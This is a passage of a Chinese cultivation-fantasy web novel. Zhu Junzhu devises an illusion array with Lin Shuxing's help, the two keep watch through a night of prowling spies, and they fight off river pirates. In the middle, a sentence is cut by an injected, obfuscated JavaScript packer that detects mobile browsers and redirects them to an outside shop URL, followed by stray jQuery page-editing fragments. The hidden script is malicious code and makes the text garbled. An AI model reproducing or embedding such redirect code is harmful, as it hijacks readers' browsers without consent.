林疏星在旁静静听着,偶尔提出一两个问题,引导她思考得更深入。两人的对话越来越快,思维碰撞出火花,房间里充满了热烈的“学术”氛围。从阵法聊到灵力控制,又聊到各类法术,直到再次聊到了幻形。
“我明白了!”祝君竹忽然拍案而起,“幻形术的本质是‘信息编码’!将目标容貌的信息编码成特定灵力波动,然后通过阵法释放,覆盖在自身周围,形成视觉假象!”
“视觉……假象?”林疏星努力理解了一下这个陌生的词汇。
“如果我所理解不错,那么确实如此。正因如此,故称‘幻形’,即幻化为形之意。”
祝君竹抬头看他点了点头道:“光影可以幻化,物质的真实触感却不行,若别人碰到我的脸,岂不是立即就发现是假的?”
林疏星沉吟道:“故此高明的幻形术,仍需佐以扰动五识之术。譬如罗嘉一族的‘五音秘法’,可扰对方五感,即形、声、色、味、触。你那婢女清音,应当即是罗嘉族人。此法练至化境,可一人布下幻境,以一敌百。”
“清音?”祝君竹有些不信,“那丫头这么大本事?”
“她怕是还没练到家,但应付的了玄心监的搜魂司,当也是不俗了。”林疏星笑道。
祝君竹颔首:“这么说,清音其实自己就可以幻形?”
林疏星略作思忖道:“这便要看她功力如何了。且据我所知,‘五音’之法,极难修炼。你可还记得清音自述,她将神魂投入鹿身,苦修二十余载方才能幻化人形?如此说来,她若是想幻化他物,应当也不难。”
祝君竹脑中灵光一闪:“那如果我能直接‘编程’出想要的灵力波动,岂不是也可以变成任何东西?不只是变成人!可以变成石头、树木、甚至……一缕光?”
这个想法太大胆,连她自己都吓了一跳。但随之而来的是更强烈的兴奋——如果真能做到,那岂不是传说中的“七十二变”?
林疏星沉吟片刻道:“可以一试,需循序渐进。先从最简单的开始——改变衣物颜色。”
“好!”祝君竹立刻坐下,重新拿起刻刀和空白玉牌。
这次她不再刻固定阵法,而是在脑中构建“编程模型”。
她全神贯注,刻刀在玉牌上快速游走。
林疏星在一旁默默看着,他只知道她在做一件前人从未做过的事——用完全不同的思维体系重构阵法。
一个时辰后。
祝君竹放下刻刀,长长吐出一口气。玉牌上,一个全新的阵法已然成型。这个阵法比之前的复杂数倍,阵纹如蛛网般密布。
“我……试试。”她声音有些发颤,不知是紧张还是兴奋。
她将玉牌贴在袖口,闭上眼睛,以“青色”意念为引。同时,灵力缓缓注入阵法。
嗡——
随着玉牌微震,一道柔和的灵光笼罩了她的衣袖。灵光散去后,原本素白的衣袖,竟真的变成了淡青色!
“成功了!”祝君竹跳起来,看着自己的裙子,眼中满是喜悦。
林疏星着实没想到她能成功,甚至已经将失败后鼓励她的话语都想好了。诸如“学习阵法应循序渐进,欲速则不达。”之类。谁想祝君竹学的速度实在太快,令他竟不知如何张口。
祝君竹却沉浸在自身的喜悦中,对这一切浑然不知,她决定趁热打铁,再试试改变形状。这意味着阵法复杂度指数级上升。她需要同时控制数百个灵力节点,让它们协调工作,生成稳定、逼真、能随动作变化的幻像。
她坐回桌前,重新拿起刻刀,再次进入全神贯注的状态。约莫又过了一个时辰。她在失败三次之后变得略微烦躁起来。
林疏星终于用上了他早已想好的措辞劝道:“欲速则不达,不如先行歇息,明日……”
祝君竹却摇头打断了他的话:“我再试最后一次。”
她深吸一口气,闭上眼睛,在脑中重新构建整个系统。
林疏星看着她烛光下的侧脸,不再劝阻。有些人天生就是为挑战而生的。江浅月是这样,祝君竹也是这样。
半个时辰后,祝君竹落下最后一刀。她举起新刻好的玉牌,手指因为长时间握刀而微微颤抖,眼中尽是疲惫。
“先试了再说!”她低声道。说着她将玉牌贴在胸口,灵力注入。
玉牌剧烈震动,发出低沉的嗡鸣。柔和的灵光从玉牌中涌出,如流水般蔓延至她全身。灵光所过之处,身形开始变化。身高,肩膀,腰身,脸上线条,五官。最后,连身上的衣裙都变成了朴素的深蓝色布衣。五息之后,灵光散去。
站在原地的,已不再是那个清丽脱俗的祝君竹,而是一个平平无奇的中年妇人。那妇人不仅容貌改变,连气质、神态都截然不同。如果不是亲眼目睹变化过程,他绝对认不出这是祝君竹。
“我……成功了?”妇人开口,声音也变了,带着些许沧桑。
林疏星缓缓点头,眼中满是震撼:“……成功了?一个阵法师可能倾尽毕生都未必能企及的高度,她仅三个时辰就成功了?”
此时,那种“我到底教了个什么样的怪物出来!”的感觉再次强烈起来。他内心自诩阵法天才,做到对阵法的精细控制也花了十余年。而创造新的阵法,怕是至少要花费数十年光景。她的进境太快了,快到令人难以置信。
“幻形术,不过如此嘛……”祝君竹喃喃道。
幻形维持了约莫十息,灵光便如潮水般褪去。祝君竹身形微晃,扶住桌沿才站稳。那张平凡妇人的面孔如融蜡般消散,露出她本来的苍白容颜,额角已渗出一层细密冷汗。
林疏星上前一步,却又停住,只将桌上那杯早已凉透的茶水推到她手边。
“灵力耗损过甚。”他声音平淡,听不出情绪,“你初窥门径,莫要贪功冒进。”
祝君竹接过茶杯一饮而尽,凉水入喉,神智清明了几分。她看着手中那枚玉牌,表面已多了几道细微裂痕——承载如此复杂的实时变幻阵法,对材质的负担极大。
“是我太心急了。”她放下茶杯,揉了揉刺痛的太阳穴,“阵法结构还有冗余,能量流转路径可以再优化三成……若能找到更高品质的载体……”
话未说完,一阵强烈的眩晕袭来。眼前烛光骤然模糊成团,耳边嗡鸣不止。她脚下一软,身体不受控制地向后倒去。
林疏星几乎在她晃动的瞬间便动了。他身形如风掠过桌角,伸手稳稳托住她后仰的肩背。另一只手本能地抬起,在她额前虚扶了一下,指尖终究只悬停在寸许之外,未曾真的触及。
祝君竹跌进一个带着雪松清冽气息的怀抱。
时间仿佛凝滞了一瞬。
她能感觉到他胸膛传来的平稳心跳,能闻到他衣襟上沾染的夜露与淡淡墨香。他的手臂很有力,托着她的肩背,却又保持着一种刻意的、不至逾矩的距离。没有紧紧拥抱,只是支撑。
林疏星的身体有极短暂的僵硬。
怀中人的重量很轻,发丝拂过他下颌,带着皂角的干净气息。他能看见她紧闭的双眼,睫毛在苍白脸颊上投下浅浅阴影,额角的汗湿了碎发。那种毫无防备的虚弱姿态,像一根细针,悄无声息地刺进心底某个角落。
但他什么也没说。只是扶着她,等她站稳。
三息之后,祝君竹睁开眼,眩晕感稍退。她意识到自己正半倚在林疏星臂弯里,脸颊几乎贴着他肩头。这个认知让她耳根一热,慌忙撑起身子。
“失礼了。”她低声说,别开视线,借着整理衣袖的动作退开半步。
林疏星收回手,指尖无意识地在袖中收拢。他转身走到窗边,推开半扇木窗,夜风裹挟着江水的湿冷灌入,吹散了房中略显凝滞的空气。
“无妨。”他背对着她,声音被风吹得有些模糊,“你灵力透支,需好生调息。”
祝君竹在桌边坐下,深吸几口气,压下心头那点异样的波动。她将注意力重新集中在玉牌上,用理性分析驱散方才那瞬间的失态:“阵法本身成功了,但载体强度不足。若能用‘沉星玉’或‘空明晶’这类上品灵材,再配合更高效的能量回路……”
林疏星转过身,见她已恢复那副沉浸于研究的模样,仿佛刚才的意外从未发生。他眼中掠过一丝极淡的、连自己都未察觉的释然。
“沉星玉罕见,空明晶价昂。”他走回桌边,从芥子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998676|193914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
袋中取出几块大小不一的玉料,“这些是寻常‘温灵玉’,虽不及上品,但质地均匀,适合练手。”
祝君竹接过,指尖拂过玉料温润的表面。她抬头看向林疏星:“多谢。”
林疏星微微颔首,目光落在她仍有些发白的脸上:“今夜到此为止。你需休息。”
“我还想再试一次能量回路的优化——”
“明日再试。”林疏星打断她,语气不容置疑,“灵力枯竭时强行为之,易伤经脉根基。”
他说着,从怀中取出一只小巧的青瓷瓶,倒出一粒莹白丹丸放在她面前:“今日买的‘蕴灵丹’,可助恢复。服下后打坐调息两个时辰,莫再耗神。”
祝君竹看着那粒丹丸,又看看他平静却坚持的神色,终是点了点头。她确实已到极限,脑中那些纷乱的阵法构想开始互相纠缠,难以理清。
她服下丹药,盘膝坐上床榻,闭目运转灵力。丹丸化开,温和的药力如暖流滋养着几近干涸的经脉。
林疏星并未离开。他吹熄了房中多余的蜡烛,只留床榻边一盏小灯,昏黄光晕勉强照亮方寸之地。他自己则在桌边坐下,拿起祝君竹刚才刻废的几块玉牌,就着微弱光线细细查看。
房间陷入寂静,只有窗外隐约的江水声,和两人轻浅的呼吸。
清音推门进来时,看到的便是这般景象。
她端着宵夜托盘,愣在门口,眼睛瞪得圆溜溜的——小姐在床上打坐,林疏星坐在桌边看玉牌,烛火昏暗,气氛……有点怪。
“清音?”祝君竹睁开眼,调息正好告一段落。
“啊!小姐,公子!”清音回过神,连忙走进来,将托盘放在桌上,“我、我见小姐房里灯还亮着,就去厨房熬了百合莲子羹,安神的……”
她一边说,一边偷眼打量两人。小姐脸色不太好,林疏星倒是神色如常,只是……他手里拿的玉牌是什么?看得这么认真?八成跟小姐有关?有瓜吃咯!
林疏星放下玉牌,对清音点了点头:“有心了。”
清音嘿嘿一笑,凑到祝君竹床边:“小姐,您熬夜研究阵法啊?这都什么时辰了!”她语气里带着熟稔的埋怨,像只操心的小雀。
“不妨事。”祝君竹接过她递来的瓷碗,温热清甜的羹汤入口,疲惫确实缓解不少。她看向林疏星:“公子也吃些吧。”
林疏星并未推辞,端起另一碗。三人就着昏暗灯火安静用羹,画面竟有几分寻常人家的暖意。
清音最耐不住沉默,小声嘀咕起来:“小姐您不知道,我刚才去厨房,听见两个伙计在嚼舌根,说咱们这院子‘不太平’呢!”
祝君竹动作微顿:“怎么说?”
“他们说呀,前几日也有个商队住这儿,结果夜里闹了贼,丢了好些货物!”清音压低声音,眼睛亮晶晶的,也不知是害怕还是兴奋,“还说那贼身手了得,护卫连影子都没摸着!金老板今天加派了人手守夜,就是防着再出事……”
林疏星放下瓷勺,声音平静:“商队行走在外,此类事常有。不必惊慌。”
“我才没惊慌呢!”清音挺了挺小胸脯,“我就是觉得……咱们是不是也该小心些?小姐您身体还没好全,林公子您也累了一天了,要是夜里真有什么动静——”
“清音。”祝君竹打断她,“别自己吓自己。”
清音吐吐舌头嘟囔:“我就是想给你们提个醒……”
用罢羹汤,清音收拾了碗筷,却磨磨蹭蹭不肯走。她看看祝君竹,又看看林疏星,犹豫着开口:“那个……小姐,要不今晚我陪您睡吧?您这脸色,我真不放心……”
“不用。”祝君竹摇头,“你回房休息便好。”
“可是——”
“清音姑娘。”林疏星站起身,语气依旧平淡,却有种让人无法反驳的力度,“你家小姐需静心调息,你在旁反扰她清静。”
这话说得直接,清音愣了片刻,脸慢慢涨红了。她跺了跺脚,小声嘟囔:“老兄你说话可真不中听……太子了不起啊!”
话虽如此,她却没再坚持,向祝君竹行了个礼,一步三回头地出去了,临走还贴心地带上了门。
房间里再次安静下来。
祝君竹看向林疏星,有些无奈:“你何必那样说她。”
“实情而已。”林疏星走回桌边,将那些玉料和刻刀收拢,“她修为尚浅,心性单纯,话多,留在此处确是无益。”
他说着,忽然动作一顿,侧耳倾听。
祝君竹也察觉到了——院中传来极轻微的脚步声,不是护卫规律沉重的步伐,而是刻意放轻的、走走停停的窸窣声。
两人对视一眼,林疏星抬手一挥,房中最后一盏烛火应声而灭。
黑暗如潮水般淹没视线。
祝君竹屏住呼吸,灵力悄然运转至双目,黑暗中景物渐渐显出轮廓。她看见林疏星已移至窗边,侧身立于阴影中望向窗外。
月光稀薄,院中树影婆娑。一个瘦小身影贴着墙根缓缓移动,在每间客房外稍作停留,侧耳倾听。那身影林疏星认得——是被毒杀那个潜龙卫的同伴。
他果然还在探查什么。
身影停在了他们这间房外,手里鼓捣着什么器物。
林疏星一动不动,连呼吸都几不可闻。
门外人影停留了约莫二十息,似未发现异常,又悄无声息地挪向下一间——那是敖清澜的房间。
祝君竹微微松口气,却在清冷的月光见林疏星眉头几不可察地蹙了一下。她顺着他的目光看去,只见那身影在敖清澜房外停留的时间格外长,足有半盏茶功夫。
他在怀疑敖清澜?
未及细想,院外忽然传来巡夜护卫的喝问:“什么人?!”
那身影如惊弓之鸟,瞬间缩进墙角阴影,几个起落便消失在院墙之外。护卫提着灯笼匆匆赶来,四下查看一番,未发现异常,低声交谈几句后渐渐远去。
院中重归寂静。
林疏星在窗边又站了片刻,确认再无动静,才转身重新点亮烛火,昏黄光芒再次充盈房间。
“他走了。”他低声道。
祝君竹从床榻上起身,走到桌边:“他在找什么?还是说……他在确认什么?”
林疏星摇头:“难测。但可确定,此人目标不止我们。”他顿了顿,“敖先生恐已引起注意。”
“要提醒他吗?”
“不必。”林疏星沉吟,“他若连这点警觉都不具备,怕是也不能隐姓埋名行走至今。况且……”他看向祝君竹,“我们与他的关系,越少人知越好。”
祝君竹明白他的意思。敖清澜身份成谜,未确身份认前,贸然提醒反易暴露自身。她点点头,重新坐回床边,却无睡意。
经历方才这一番,调息被打断,灵力虽恢复少许,精神却再度紧绷起来。
林疏星看了她一眼,忽然开口:“你方才说,阵法能量回路可再优化三成。如何优化?”
祝君竹一怔,随即明白他是在转移她的注意力,让她从紧张情绪中脱离。她心头微暖,顺着话题接下去:“主要是节点布局。你看这里——”她拿起一块刻废的玉牌,指尖虚点几处,“这些辅助节点分布太散,灵力流转路径过长,损耗自然大。若能以‘六合归元’的阵理重新排布,令其形成嵌套循环……”
她又陷入那种专注的讲解状态,眼中重新燃起智慧的光。林疏星静静听着,偶尔问上一两句,引导她将思路说得更透。
时间在不知不觉中流逝。
约莫过了半个时辰,祝君竹忽然打了个哈欠,话音戛然而止。她揉了揉眼睛,倦意如潮水般漫上来——蕴灵丹的药力开始真正发挥作用,兼之精神松弛,困意再难抵挡。
林疏星止住话头,轻声道:“歇息吧。”
祝君竹点点头,却觉得眼皮沉重得抬不起来。她勉强挪到床榻里侧,和衣躺下,含糊道:“兄长……你也回去歇着吧……”
林疏星应了一声,却未动身。他看着她很快沉入睡乡的侧脸,呼吸渐趋均匀,才轻轻起身,将薄被为她盖好。
正要离开,窗外忽然传来一声极轻的猫叫。
林疏星动作一顿,走至窗边,推开一条缝隙。
是金鳞布在暗处的眼线。
林疏星微微颔首,示意知晓。那身影悄然隐没。
他关好窗,回身看向床上熟睡的祝君竹。此刻离开,若真有事,她独自在此……
林疏星在原地沉默片刻,终是走到桌边,拂去椅上并不存在的灰尘,安然坐下。他从芥子袋中取出一卷古籍,就着烛火静静翻阅,姿态如松,仿佛要如此坐到天明。
烛火噼啪,映着他平静的侧脸。窗外夜色深沉,远处隐约传来更鼓声。
床上,祝君竹在睡梦中翻了个身,眉尖微蹙,似是梦到了什么。林疏星抬眼望去,见她并未醒来,才又垂眸看向书卷。
时间点滴流逝。
几声极其轻微的破空声忽然传来,随即是闷哼与重物倒地的响动——短暂,急促,很快归于寂静。
林疏星持书的手纹丝未动,连眼都未抬一下。
又过了一炷香时间,窗外再次传来那声猫叫,长短节奏与先前不同:事毕,三人皆擒,未惊动客院。
林疏星这才合上书卷,吹熄了烛火。
房间沉入黑暗,只有月光透过窗纸,洒下淡淡清辉。他依旧坐在椅上,闭目调息,耳听八方。
一夜再无变故。
日上三竿时,祝君竹醒了。
她睁开眼,首先感受到的是体内充盈平和的灵力——蕴灵丹药效极佳,一夜调息,透支的灵力已恢复七成。头痛也减轻许多,神清气爽。
然后她才察觉到,房间里还有一个人。
林疏星坐在窗边椅上,背脊挺直,双目轻阖,似是入定调息。阳光落在他肩头,镀上一层浅金,那张平凡面容在光晕中竟显得格外宁静。
祝君竹怔了怔。他……一夜未归?
她轻手轻脚起身,薄被滑落的声音却已惊动了他。林疏星睁开眼,眸中一片清明,无半分倦色。
“醒了。”他声音平静,仿佛只是清晨偶遇。
“你……”祝君竹顿了顿,“昨夜一直在此?”
“嗯。”林疏星站起身,活动了一下久坐的肩颈,“夜里有些动静,便未回房。”
他说得轻描淡写,祝君竹却立刻联想到昨夜那个潜龙卫的窥探,心中一紧:“出事了?”
“无事。”林疏星走到桌边,倒了两杯早已凉透的茶水,递给她一杯,“金老板处置得干净。”
祝君竹接过茶杯,指尖触到杯壁冰凉,心却定了下来。她看着林疏星平静的神色,忽然意识到——他守了一夜。怕并非刻意的陪伴,只是冷静权衡后,认为这是最稳妥的选择。
可即便如此……
“多谢。”她低声道,语气认真。
林疏星看了她一眼,并未接话,只道:“既已无碍,下楼用饭罢。金老板辰正召集众人,商谈今日行程。”他说着走向门口,却被祝君竹叫住。
“幻形玉牌给你,莫要轻易示人。你可不必再用那玉佩了,这阵法更稳妥些。”
林疏星略有些惊讶:“她做这些,竟是为了让我‘更稳妥’些?”
随即接过点头道:“我明白。”
门轻轻关上。
她坐在床边,握着微凉的茶杯,听着门外他渐行渐远的脚步声,心中那点波澜渐渐平息。有些事,不必言说,彼此明了便好。但却带着一丝不易察觉的失落。
她起身洗漱,换上衣裙,将那些玉牌、刻刀、书籍仔细收好。推开窗,晨风拂面,带着江上特有的湿润气息。院中槐树下,清音正追着一只蝴蝶跑,笑声清脆。
12. 第十一回:妖力惊澜疑窦起
晨雾未散时,青蛟号缓缓驶离望江镇码头。这两日,祝君竹都在客栈房间研究阵法中度过。林疏星却一反常态,早出晚归,两日来都没说过几句话。
船身破开灰蒙蒙的江面,留下道道涟漪。祝君竹站在船舷边,望着逐渐远去的青石板岸,手中无意识摩挲着那枚昨夜新刻的幻形玉牌。玉质温润,指尖能清晰感受到阵法纹路的细微凸起,经过再次优化,这枚玉牌的结构已比最初精简了两成,灵力损耗降低,维持时间却延长了三息。
进步虽微,却令她心安。在这个陌生又危机四伏的世界,每多掌握一分力量,便多一分活下去的可能。
“小姐,您看!”清音从舱房跑出来,手里捧着一包还冒着热气的葱油饼,脸颊鼓鼓囊囊地嚼着,“厨房刚烙的,我偷——咳,拿了两张!可香了!”
祝君竹接过饼,撕下一小块放入口中。面饼酥脆,葱香浓郁,确实是地道的味道。她看向清音:“你又去厨房了?”
“顺路嘛!”清音眨眨眼,压低声音,“而且啊,我听说前天夜真出事了!金老板的人在后巷逮住三个鬼鬼祟祟的家伙,不过人已经‘处理’了,尸体今早天没亮就沉江了……”
祝君竹动作微顿,看向不远处正与船工交谈的金鳞。那富态的商人脸上依旧挂着和气的笑,仿佛昨夜只是处理了几只溜进米缸的老鼠。
“公子说,金老板能在这条水路上行走这么多年,自有他的手段。”清音凑得更近些,声音压得几乎听不见,“小姐,咱们跟着他,真的安全吗?总觉得可怕。”
“至少目前是。”祝君竹低声道,“比起我们单独行动,混在商队里目标更小。金老板要的是平安赚钱,我们只要不给他惹麻烦,他乐得睁一只眼闭一只眼。”
清音似懂非懂地点头,又咬了一大口饼。晨风吹起她颊边碎发,那双鹿眼在晨光中清澈透亮,全然不似经历过生死逃亡的模样。
有时祝君竹会想,清音这般天真烂漫的心性,究竟是她本性如此,还是漫长鹿身岁月中学会的生存智慧——用最无害的表象,掩藏最坚韧的内核。
“林……”她望了望周围,“我兄长呢?”祝君竹问。
“在舱房里看书呢。”清音撇撇嘴,表示对这个“兄长”的称呼有些不满,“我早上给他送饼,他接了就说‘多谢’,然后门一关——啧,架子可真大!”
祝君竹失笑:“他不是摆架子,只是不习惯与人太过亲近。”
“小姐您就向着他吧!”清音哼了一声,眼珠一转,忽然贼兮兮地笑起来,“不过那天……他在您房里守了一整夜吧?我早上起来看见他从您房里出来,还装模作样地说什么‘夜里有些动静’……”
“清音。”祝君竹打断她,耳根有些发烫,“别胡说。”
“我哪有胡说!”清音不服,“我可是亲眼所见!”
话未说完,甲板另一侧传来脚步声。林疏星从舱房走出,依旧是那身衣装,发髻束得一丝不苟。他手中拿着卷泛黄的古籍,目光扫过她们这边,微微颔首便算打过招呼,随即走到船头栏杆处,凭栏远望。
江风拂动他的衣摆,背影挺拔却孤寂。
清音缩了缩脖子,小声嘀咕:“看吧,出来寻人都寻得这般‘恰好’……”
祝君竹没接话。她看着林疏星的背影,想起昨夜烛火下他平静翻阅书卷的模样,想起他守到天明却只字不提的淡然。这个人像一口深井,表面平静无波,底下却不知藏着多少暗流。
或许清音说得对,他待她确实不同。但这种“不同”究竟源于什么——是对“江浅月”残留的情分?是对同行者的责任?还是别的什么?她理不清,也不愿深想。
“林姑娘,清音姑娘,早。”
温和的嗓音从身后传来。敖清澜不知何时已走到近旁,月白长衫在晨光中泛着淡淡光晕,青玉长笛系在腰间,随着步伐轻晃。他脸上带着惯常的微笑,目光在祝君竹脸上停留片刻:“姑娘气色好多了。”
“多谢敖先生关心。”祝君竹回以浅笑,“昨夜休息得好些。”
“那就好。”敖清澜点头,视线扫过她手中的葱油饼,“今早的葱油饼确实是不错。林姑娘若喜欢,待到了下一处泊点,我知道有家老字号,做的比这船上更地道。”
清音眼睛一亮:“真的?在哪儿?”
“炎州城东,有家‘陈记饼铺’,三代传承,用的是古法老面,火候掌握得极好。”敖清澜笑道,“外酥里嫩,葱香能飘半条街。”
他说得细致,连那铺子门楣上褪色的招牌、门口总蹲着的那只花狸猫都描述了一番,仿佛真的只是个嗜好美食的寻常旅人。祝君竹静静听着,心中却浮起一丝疑虑,一个蛟人乐师,为何会对仙朝如此熟悉?这不是第一次了。敖清澜似乎能随口说出所经之地的特产、风土人情,甚至某些不为人知的典故。
“敖先生真是见多识广。”她状似随意地说。
敖清澜笑容不变:“走的地方多了,自然知道些杂事。让姑娘见笑了。”
正说着,船身忽然一阵剧烈晃动!
“怎么回事?”清音惊呼,手里的饼差点掉进江里。
祝君竹扶住船舷站稳,抬眼望去。只见前方江面不知何时冒出七八艘小艇,每艘艇上站着四五人,衣着杂乱,手持刀叉棍棒,正急速向青蛟号包抄而来!小艇船头插着面破旧旗帜,旗上绘着狰狞的蛇首。
“是水匪!”有船工大喊。
甲板上顿时乱作一团。船客们惊慌四散,船工们抄起家伙奔向船舷。金鳞高声喝道:“莫慌!结阵防守!”
他手下那几十名护卫训练有素,迅速在船舷边结成两排,前排举盾,后排张弓,箭尖齐刷刷对准逼近的小艇。但水匪显然惯于此道,小艇并不直冲,而是骤然散开呈弧线迂回,数支冷箭自艇上先发,直取船头指挥的金鳞!护卫们举盾格挡的瞬间,匪艇已趁机贴至船侧,十数道飞爪“唰”地勾住船舷不同位置!
“放箭!”金鳞挥刀拨开来箭,厉声下令。
弓弦响动,几名攀爬中的水匪惨叫着坠江,但更多人已如蚁群般攀上船舷,为首的几个显然战力不俗。战斗在各处同时爆发,刀光剑影裹着血沫泼溅开来。护卫阵型瞬间被多点突破的匪徒割裂,陷入各自为战的苦斗。
祝君竹看着眼前的混战,掌心微微出汗——这不是她第一次见血,却是第一次身陷这种毫无章法的混战。她那现代社会的秩序与理性认知在这里彻底崩塌。
林疏星不知何时已退至她们身侧,神色依旧平静,只是右手已按在腰间——那里藏着他的软剑。敖清澜也站到了不远处,手中长笛横在身前,看似随意,实则护住了她们侧翼。
“林姑娘,你们先进舱。”敖清澜侧脸道。
“对!小姐,咱们进去躲躲!”清音急道。
话音未落,三名水匪翻上栏杆,被林疏星软剑点中要害跌回江中,但旋即又有五六人自另一侧跃登,悍不畏死地缠向林疏星。他的剑光虽利,一时却被数把刀缠住。
敖清澜原本护在舱门附近,长笛点倒两名企图破门的水匪,却听船尾传来妇女惊叫——几名匪徒正掳掠落单船客。他脚步微滞,回头看向祝君竹方向时,一道黑影已自缆绳荡下,直扑祝君竹背后!
“小姐小心!”清音惊呼,拔短刃抢步上前格挡。
祝君竹霍然转身望去,却是个满脸横肉的独眼水匪,趁乱自桅杆缆索空降的奇兵!刀刃夹带着腥风已至面门。
清音自是不敌,闷哼一声被震开了去。
祝君竹于瞬息间数念闪过,躲?来不及。硬抗?她这副身体虽经灵力淬炼,但近身格斗经验几乎为零。用那尚未完全掌控的妖力?风险太大……
电光火石间,她做了决定。
右手抬起,五指虚抓。灵力自丹田涌出,在掌心凝成一团无形无质的能量——这是她这两天琢磨出的、最简单粗暴的“灵力震荡”。
原理类似声波武器,但更初级。将灵力压缩后瞬间释放,产生高频震荡,作用于人体最脆弱的耳蜗与前庭系统。范围小,耗能低,唯一的优点是起效快,且不留痕迹。
祝君竹手腕一抖,掌心那团无形震荡波脱手飞出,精准没入对方头颅。
水匪身形骤然僵住。
他脸上凶悍的表情凝固了,眼神瞬间涣散,手中钢刀“哐当”落地。整个人如喝醉般晃了晃,随即软软瘫倒,口鼻渗出丝丝鲜血——内耳与脑部已遭重创,虽不至死,但短时间内绝无再战之力。
整个过程不过两息。
清音瞪大眼睛:“小、小姐……您做了什么?”
祝君竹没有回答。她看着自己的手,掌心微微发麻。这一击效果让她暗自心惊,比预想的更强。
两名水匪见“独眼”被击倒,使个眼色,同时扑来!
“退后。”林疏星已荡开纠缠的匪徒,剑光回卷。
他踏前一步,剑光如雪,在晨雾中划出两道弧线。没有华丽的招式,只是简洁的直刺与横削,角度刁钻,速度极快。两名水匪甚至没看清剑路,便觉腕上一凉,手中兵器已脱手飞出,咽喉处同时多了道血线。
林疏星收剑回鞘,动作行云流水。他侧身挡在祝君竹身前,目光扫过倒地的三名水匪,最后落在她脸上:“可曾受伤?”
“没有。”祝君竹摇头,看着他平静的侧脸,心头那点慌乱奇异地平复下来。
战局很快明朗。金鳞的护卫毕竟训练有素,配合默契,水匪虽凶悍,却未能讨得便宜。半柱香后,匪首见势不妙,大喊“扯呼”,匪众皆四散逃命。
“穷寇莫追!”金鳞喝止想要追击的护卫,“清理甲板,救治伤员,清点损失!”
甲板上渐渐恢复秩序。船工们开始搬运尸体、冲洗血迹,受伤的护卫被扶下去包扎。空气中弥漫着浓重的血腥味,混着江水湿冷的鱼腥气息,令人作呕。
祝君竹胃里一阵翻腾。她强压下不适,目光落在那些水匪尸体上——大多是青壮男子,衣衫褴褛,面色饥黄,有些人手上还有厚厚的老茧,不像是职业匪徒,倒像……走投无路的流民。
金鳞走过来向林疏星三人拱手:“多谢三位出手相助。若非你们挡住侧翼,怕是真要让他们冲进客舱了。”
“分内之事。”林疏星淡淡道。
敖清澜也微笑还礼:“金老板客气了。倒是贵属训练有素,令人钦佩。”
金鳞摆摆手,又吩咐手下几句,这才匆匆去处理后续事宜。甲板上人来人往,一片忙碌。
清音缓过神来,忽然想起什么,低头看向自己空空的手,“哎呀!我的饼!”
那半张葱油饼早不知掉哪儿去了,许是混战时被踩进了血泊里。清音一脸肉痛,小声嘟囔:“可惜了,才吃了两口……”
祝君竹看着她,想起她刚刚持刃回护的样子,不觉心疼。
“回去让厨房再做便是。”林疏星忽然开口。
清音一愣,抬头看他,表情有些古怪:“公子……您这是在安慰我?”
林疏星别开视线,语气依旧平淡:“实情罢了。”
清音“噗嗤”笑出声,又赶紧捂住嘴,肩膀一耸一耸的。
祝君竹也忍不住弯了唇角。经过方才一场厮杀,此刻这点小小的插曲,竟冲淡了空气中的血腥与沉重。
敖清澜在一旁看着,眼中掠过一丝深意。他目光扫过林疏星护在祝君竹身侧的站位,又掠过祝君竹指尖尚未完全散去的灵力余韵,他隐约感知到一丝极淡的、不属于人类的妖力波动。很淡,淡到几乎以为是错觉。
“林姑娘方才那手,可是家传秘术?”敖清澜状似随意地问。
祝君竹心头微紧,面上却不动声色:“雕虫小技罢了,让敖先生见笑。”
“姑娘过谦了。”敖清澜笑道,“能以灵力直接震荡神魂,这手功夫,便是许多修炼多年的人也未必能做到。姑娘年纪轻轻,实在令人惊叹。”
这话说得客气,却暗藏试探。祝君竹正要回应,林疏星已先一步开口:“舍妹的确天赋异禀。”
简短几个字,便将话题截住。
敖清澜笑容不变,从善如流地转了话头:“说来也怪。水匪虽凶悍,但往常只敢在偏僻河段动手。这段江面离望江镇不过三十里,他们竟敢在此劫船,胆子未免太大了些。”
甲板清理得差不多了。金鳞命人将水匪尸体抛入江中,受伤的护卫也安顿妥当。青蛟号重新起航,只是速度慢了许多——方才混战中,桅杆受了些损伤,需修补。
船客们惊魂未定,大多躲回舱房。甲板上顿时冷清下来。
祝君竹回到自己房间,关上门,背靠门板长长吐出一口气。方才战斗时间虽短,却耗神费力。她走到桌边坐下,倒了杯冷水一饮而尽,冰凉液体滑过喉咙,才让翻腾的心绪稍稍平复。
敲门声响起。
“谁?”
“我。”林疏星的声音。
祝君竹开门。他走进来,反手将门带上,目光在她脸上停留片刻:“可有不适?”
“还好。”祝君竹摇头,“只是……第一次这般近地看着人厮杀,有些不习惯。”
林疏星沉默一瞬,道:“往后只怕不会少。”
这话说得直白,却也是事实。祝君竹苦笑:“我知道。”
两人相对无言。窗外传来船工修补桅杆的敲击声,单调而有节奏。
半晌,林疏星打破沉默:“你初掌力量,运用时难免生疏。方才那一击,灵力不稳,若遇高手,处处都是破绽。”
他说着,走到桌边,用手指蘸了茶水,在桌面上快速画出几条曲折线:“灵力流转应如江河,滔滔不绝。你这里、这里、还有这里,出现了不该有的滞涩。”指尖点在三处。
祝君竹怔住。他说的分毫不差。
林疏星接着道:“我揣测着原因有三:一是你尚未完全掌控体内多股力量的融合;二是你用布阵思维用于对阵,反而成了束缚。三是你缺乏临阵经验,不能集中精神。虽然你在玉京山战绩‘不俗’,但若不给你集中精神施放法术的时间,你怕是连初窥第二境的人都难敌的住。”
祝君竹方才施展震荡波时,她确实下意识将灵力分成了三个模块——采集、压缩、释放,像运行程序一样按顺序执行。这导致灵力流转出现了三次微小的停顿。她自己都未曾清晰意识到,他却一眼看穿。
“该如何改进?”她问得认真。
“忘掉阵法。”林疏星看着她,“将灵力视为你身体的一部分,如臂使指。想震,便震;想收,便收。中间更无需思考,全凭本能。”
